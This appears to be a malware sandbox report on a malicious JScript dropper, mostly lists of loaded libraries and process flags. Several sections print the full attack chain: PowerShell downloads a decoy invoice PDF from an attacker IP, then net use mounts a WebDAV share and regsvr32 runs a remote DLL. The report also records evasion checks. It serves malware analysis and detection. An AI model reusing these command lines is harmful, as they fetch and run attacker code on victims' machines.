Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\349.js.csv");ITextStream.WriteLine(" entry:8316 f:zslctobqt");ITextStream.WriteLine(" exec:2 f:zslctobqt");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4592			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5269			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2016	Thread sleep count: 4592 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1880	Thread sleep count: 5269 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3052	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6900	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 280	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5796	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 0000000A.00000002.3405726878.0000022CB8429000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: wscript.exe, 00000000.00000002.2122125265.0000023543181000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 00000007.00000002.2189308821.000001F661C5C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2189047895.000001F661BF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3407075134.0000022CBDA5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
